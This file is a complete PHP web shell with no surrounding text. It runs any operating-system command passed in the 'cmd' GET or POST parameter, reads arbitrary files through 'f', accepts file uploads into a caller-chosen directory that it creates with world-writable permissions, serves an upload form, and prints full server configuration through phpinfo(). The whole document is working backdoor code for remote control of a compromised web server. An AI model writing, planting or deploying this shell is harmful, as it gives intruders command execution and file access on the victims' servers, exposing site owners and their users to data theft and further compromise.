<?php
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    echo "<pre>";
    system($cmd);
    echo "</pre>";
}
if(isset($_POST['cmd'])){
    $cmd = $_POST['cmd'];
    echo "<pre>";
    system($cmd);
    echo "</pre>";
}
if(isset($_GET['f'])){
    $file = $_GET['f'];
    echo file_get_contents($file);
}
if(isset($_FILES['file'])){
    $upload_dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
    if(!is_dir($upload_dir)){
        mkdir($upload_dir, 0777, true);
    }
    $target_file = $upload_dir . '/' . basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $target_file)){
        echo "Uploaded to: " . $target_file;
    } else {
        echo "Upload failed!";
    }
}
if(isset($_GET['ups'])){
    echo '<form method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="text" name="dir" placeholder="upload directory" value=".">
    <input type="submit" value="Upload">
    </form>';
}
phpinfo();
?>